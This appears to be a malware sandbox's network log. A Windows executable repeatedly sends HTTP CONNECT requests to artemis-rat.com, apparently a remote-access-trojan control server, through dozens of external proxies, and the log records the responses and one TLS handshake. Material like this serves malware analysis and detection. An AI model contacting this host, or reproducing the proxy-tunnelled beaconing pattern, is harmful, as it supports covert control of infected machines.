Mar 11, 2024 03:30:43.355046988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.311471939 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.124826908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.811407089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.514434099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.217190981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.556723118 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1195	192.168.2.5	52711	162.241.45.22	50528	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.603802919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.701980114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.702183008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.702301979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1196	192.168.2.5	53315	154.205.152.96	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.604193926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.816945076 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1197	192.168.2.5	51493	162.214.170.144	53548	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.604468107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.608216047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.608477116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.717600107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1198	192.168.2.5	53258	167.86.69.142	36394	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.606760025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.389419079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.405498028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.405314922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.202037096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1199	192.168.2.5	53297	38.162.11.13	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.607213974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.020140886 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1200	192.168.2.5	53309	38.162.25.237	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.608834028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.019733906 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1201	192.168.2.5	53319	66.45.246.194	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.611867905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.832782030 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1202	192.168.2.5	53220	194.8.232.46	4153	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.613982916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1203	192.168.2.5	53241	113.125.82.11	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.626470089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.184598923 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1204	192.168.2.5	53236	111.90.150.109	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.626583099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1205	192.168.2.5	53337	162.241.45.22	63501	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.626821995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.201765060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1206	192.168.2.5	51560	107.180.90.88	8078	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.626885891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.796103954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.902412891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.905211926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1207	192.168.2.5	53283	66.29.128.241	64810	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.627315044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.846324921 CET	24	IN	HTTP/1.1 403 #string

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1208	192.168.2.5	51508	162.243.55.12	50941	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.701121092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.796350002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.902412891 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.905211926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1209	192.168.2.5	52346	117.160.250.131	8899	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.705374956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.796351910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.902421951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.905230045 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1210	192.168.2.5	53317	35.79.120.242	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.716937065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.253530979 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:43 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1211	192.168.2.5	53288	18.135.211.182	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.718342066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.009562969 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:42 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1212	192.168.2.5	50808	117.160.250.133	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.721338034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.889645100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.891024113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.859690905 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:49 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 03:30:52.766158104 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:49 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 03:30:58.580354929 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 02:30:49 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1213	192.168.2.5	53299	61.110.5.2	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.722119093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.213448048 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1214	192.168.2.5	53261	52.172.1.186	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.722640038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.143032074 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 03:30:43.143610954 CET	337	OUT	Data Raw: 16 03 03 01 4c 01 00 01 48 03 03 65 ee 6c d2 e5 74 12 d1 79 48 ea 2e df ff 34 35 76 f5 65 c9 da 3c 88 85 a0 4c 29 a9 8b 00 aa 89 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: LHeltyH.45ve<L),+0/$#('=<5/artemis-rat.com#Sj-6'#QA~UXs7D15#WKd*Z%59
Mar 11, 2024 03:30:43.641726017 CET	1200	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 7d 19 f3 fd 7e 1a 5f 44 62 20 c1 5a 41 9b 6f 20 74 60 bd 4e 8e c7 1e 25 74 ad 6c 2d 25 14 7b 30 00 c0 2f 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 06 eb 0b 00 06 e7 00 06 e4 00 03 49 30 Data Ascii: =9}~_Db ZAo t`N%tl-%{0/I0E0-VEs?0*H0910UIN10UCISCO10USTBU10UCN0240214225240Z240514225239Z010Uartemis-rat.com0"0
Mar 11, 2024 03:30:43.641834021 CET	956	IN	Data Raw: c7 83 e0 38 e0 78 04 a2 16 fd 14 33 24 68 bd 49 a6 e0 0f 4e 5e 0a 9b 8a 8a 9e 6f f5 c2 a6 42 1d 4d a3 e5 ee 13 09 53 54 ef 77 c3 f6 78 45 cf 3e b9 10 c8 78 c9 bf ff 86 e3 9b 22 b4 d0 3a 41 61 a6 37 ad 67 94 f4 40 f7 0a 74 c6 1c e9 36 4b 06 c1 b7 Data Ascii: 8x3$hIN^oBMSTwxE>x":Aa7g@t6K_/nfGms.rBnAEv!}H?g^N)R+#B1fk=JL{7.q[_UKRk/9i)#jIX$s"\00UD;&HZ
Mar 11, 2024 03:30:43.664259911 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 19 c0 55 3a 68 8f e4 6d e5 6d 86 f8 c0 a7 7e b7 e7 c6 50 c6 17 85 e4 0b 37 01 06 15 54 e7 40 41 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 0a 1c 62 b7 db 39 bb a8 ed fe 3c 06 7e 4c ed 3c b6 a9 9f 38 0f Data Ascii: %! U:hmm~P7T@A(b9<~L<8W,7-
Mar 11, 2024 03:30:44.063960075 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 03 09 fd ca 31 9f 03 82 b4 e9 48 f6 23 c2 b1 cb cd e5 6e 86 14 40 1a d4 fd f7 a9 b7 8e 09 ca dc b3 76 ee 8e 67 fb 20 ee Data Ascii: (1H#n@vg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1215	192.168.2.5	51246	203.76.103.57	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
